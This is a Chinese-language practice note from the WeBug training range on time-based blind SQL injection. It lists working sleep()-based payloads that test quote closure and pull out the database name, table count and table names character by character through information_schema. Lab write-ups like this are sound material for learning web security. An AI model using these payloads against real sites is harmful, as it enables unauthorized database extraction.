03延时注入

笔记本：	WeBug靶场做题记录		
创建时间：	2023-01-15 18:40	**更新时间：**	2023-01-15 21:37
作者：	陈熙		
标签：	sql注入(ctf), web安全		

首先判断闭合：
数字型：?id=1 and sleep(1) %23 页面显示正常，响应时间正常
单引号：?id=1' and sleep(1) %23 页面显示不正常，响应时间不正常
括号：?id=1) and sleep(1) %23 页面显示正常，响应时间正常
双引号：?id=1" and sleep(1) %23 页面显示正常，响应时间正常

关键语句：
if(条件,sleep(3),0)
所有判断放条件里面，为真则sleep

具体步骤：
先用二分法确定范围，最后再用等号精确判断
1、判断数据库长度，得出长度为5：
1' and if(length(database())>1,sleep(1),0) %23
2、判断数据库名称的每个字母，得到名称为webug：
1' and if(mid(database(),1,1)>'a',sleep(1),0) %23
3、判断数据库表的数量，共有7个：
1' and if((select count(table_name) from information_schema.tables where table_schema=database())>1,sleep(1),0) %23
4、判断第一个表的名字长度，为9：
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1,sleep(1),0) %23
5、判断第一个表的名字，为d
if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'a',sleep(1),0) %23
注意表名里可能包含下划线，那么解决办法是，先直接判断当前位是否等于"-"，然后再做字母或数字的判断，也可以用asc码比较大小：
if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(1),0) %23
6、判断指定表的字段数量和名称
后面和时间盲注一样。